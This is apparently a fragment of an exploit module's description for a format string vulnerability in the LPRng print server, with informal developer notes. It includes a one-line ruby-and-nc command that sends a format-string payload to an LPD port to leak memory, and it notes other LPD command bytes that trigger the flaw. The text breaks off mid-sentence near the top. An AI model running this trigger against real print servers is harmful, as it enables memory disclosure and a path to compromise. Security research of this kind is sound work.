					This module exploits a format string vulnerability in the LPRng print server.
				This vulnerability was discovered by Chris Evans. There was a publicly

HRM!

The following causes info leakage!

bash$ ( ruby -e 'puts "\x09" + ("%x" * 50) + "\n"'; cat) | nc 192.168.0.120 515 | hexdump -vC

There are various other ways to trigger the vulnerability. LPD uses the single-byte commands
0x01 -> 0x09...

It's unclear if there is a way to auto-detect the lpd version via LPD commands.
